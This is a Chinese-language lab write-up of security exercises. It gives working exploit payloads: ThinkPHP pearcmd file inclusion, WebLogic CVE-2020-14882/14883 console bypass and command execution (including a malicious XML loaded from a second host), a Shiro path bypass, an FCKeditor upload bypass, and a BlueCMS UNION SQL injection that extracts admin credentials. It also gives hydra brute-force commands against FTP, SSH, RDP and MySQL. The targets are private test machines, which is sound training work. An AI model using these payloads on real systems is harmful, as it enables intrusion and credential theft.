11-RCE、編輯器漏洞、旁註、hydra練習

荔枝在敲诈發表於2024-11-16

1、RCE:分別實現ThinkPHP、Weblogic、Shiro漏洞的利用過程

  • ThinkPHP

    滿足條件:多語言特性開啟、安裝pear庫、知道pearcmd.php路徑、register_argc_argv = on的前提下且ThinkPHP在漏洞版本中,再實現漏洞過程。

    • 前端訪問pearcmd檔案,出現如下報錯確定檔案存在

      image-20241115124824185

    • 插入程式碼實現檔案包含(由於前端會進行url編碼,需要利用burp抓包成功繞過過濾)

      ?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
      =phpinfo()?>+/var/www/html/info.php
      

      image-20241115130940086

      image-20241115131224383

    • 訪問檔案地址,RCE成功實現

      image-20241115131330610

  • Weblogic

    滿足條件:Weblogic在相應漏洞版本中

    • CVE-2020-14882(未授權訪問到管理後臺頁面)

      http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal
      

      image-20241115133625477

    • CVE-2020-14883(在管理後臺頁面執行遠端命令)

      方式一:

      • 將含有惡意xml程式碼上傳到事先準備好的模擬攻擊者靶場中

        <?xml version="1.0" encoding="UTF-8" ?>
        <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
            <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
                <constructor-arg>
                  <list>
                    <value>bash</value>
                    <value>-c</value>
                    <value><![CDATA[touch /tmp/test01]]></value> 
                  </list>
                </constructor-arg>
            </bean>
        </beans>
        

        image-20241115134501097

      • 讓weblogic後臺訪問惡意xml檔案的url並執行其中的程式碼

        http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.0.0.151:8081/hackable/uploads/test01.xml")
        

        image-20241115140614048

      • 在後臺看到建立出的test01檔案,說明rce成功

        image-20241115140022337

      方式二:

      • 直接訪問如下url執行xml命令,後臺建立test02檔案

        http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test02');")
        

        image-20241115140145941

  • Shiro

    滿足條件:shiro在相應漏洞版本中

    • CVE-2016-4437(反序列化漏洞)

      • 使用反序化工具實現

        image-20241115143654276

    • CVE-2020-1957(許可權繞過漏洞)

      • 透過構造惡意請求 /xxx/..;/admin/ ,即可繞過許可權校驗,直接訪問到管理頁面

        image-20241115144704649

2、FCKeditor編輯器漏洞實驗

滿足條件:Windows 7 + phpstudy_64(php 5.4.45)

  • 利用御劍獲取fckeditor目錄檔案資訊

    • 得到本版資訊,及上傳功能點的url

      image-20241115150125652

    • 插入/影像- - ->連結- - ->Browse Server,會出現FCK上傳頁面

      image-20241115150818136

    • 由於搭建的站點使用的是php環境,而連結中的環境是ASP,需要對地址以及fckeditor的配置檔案進行修改

      地址asp均改為php:

      http://10.0.0.154/fckeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php

      配置檔案路徑:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php

      image-20241115151814675

    • 可以正常訪問後,burp抓包繞過網站過濾(在php檔案後新增空格)成功上傳php檔案

      image-20241115152755782

    • 根據前面的配置檔案構造出路徑並訪問,成功實現FCKeditor編輯器漏洞http://10.0.0.154/FCKeditor/editor/filemanager/browser/default/images/file/info.phpimage-20241115153328973

3、bluecms旁註漏洞,並解釋為什麼旁站攻擊可以拿下主站?跨庫的意思是什麼?

  • bluecms旁註漏洞實現

    • 在bluecms首頁用(admin/123456)嘗試使用者登入,從返回訊息看推測存在admin使用者且存在後臺

    image-20241116115725477

    • 透過嘗試試出後臺為http://10.0.0.154/bluecms/uploads/admin/,這時就可以利用burp進行密碼爆破了

      image-20241116121909387

    • 透過賬號密碼(admin/admin)成功登入後臺,在廣告管理模組隨便新增一條廣告後,發現有獲取js程式碼的功能

      image-20241116122232105

    • 透過獲取到的js程式碼,推測網站可能存在sql注入漏洞;訪問url驗證,確實存在

      image-20241116122547251

      image-20241116122810180

    • 開始進行sql注入測試

      • 先透過order by來判斷sql語句查了多少列,當大於7的時候報錯,證明有一共有7列

      • 再利用union all 判斷顯示位 > 7

        -1 union all select 1,2,3,4,5,6,7
        

        image-20241116123620994

      • 獲取庫名 > bluecms

        -1 union all select 1,2,3,4,5,6,database()
        

        image-20241116123856845

      • 表名 > 關鍵表名blue_user

        -1 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
        

        image-20241116125031763

      • 欄位名 > 關鍵欄位user_name,pwd

        -1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'
        

        由於網站對單引號過濾,需要對bluecms使用16進位制編碼繞過

        -1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
        

        image-20241116130725409

      • 具體資料 > admin/admin

        -1 union all select 1,2,3,4,5,6,concat(user_name,0x7e,pwd) from blue_user
        

        image-20241116132253777

        後面的字串透過MD5解碼得到密碼為admin。

        image-20241116132534235

  • 旁站攻擊可以拿下主站的原因:因為旁站和主站部署在同一伺服器上,所以拿下旁站伺服器即得到整個資料庫資訊,將主站便可一併拿下。

  • 跨庫:存在A,B資料庫部署在同一伺服器上,且他們都隸屬於整個MySQL資料庫管理系統中;透過在A資料庫裡查詢到B資料庫資訊即跨庫。

4、暴力猜解:hydra實現對ftp、ssh、rdp、mysql的暴力破解。

以win7為實驗物件(IP地址-10.0.0.154),kali(自帶hydra工具)為模擬攻擊者

  • ftp(環境:在win7先利用小皮建立ftp服務並開啟)

    hydra 10.0.0.154 ftp -l xue -P pwd.txt -vV -f -e ns
    

    image-20241116135840107

    訪問ftp://10.0.0.154伺服器,利用破解密碼成功登入

    image-20241116140559483

  • ssh(環境:在win7中先安裝openssh)

    hydra 10.0.0.154 ssh -l xue -P pwd.txt -t 5 -vV -e nsr -o ssh.log
    

    image-20241116140933299

  • rdp(先在win7中開啟遠端桌面)

    hydra 10.0.0.154 rdp -l xue -P pwd.txt
    

    image-20241116141158208

    嘗試遠端連線

    image-20241116141300061

    利用破解的密碼連線成功

    image-20241116141549254

  • mysql(在win7先用小皮開啟mysql服務>安裝資料庫管理工具SQL_Front5.3)

    進入工具,設定MySQL允許遠端連線即新增 grant all privileges on *.* to root@'%' identified by 'root';語句,選中右鍵選擇執行

    image-20241116143449693

    hydra 10.0.0.154 mysql -l root -P pwd.txt
    

    image-20241116141744202

相關文章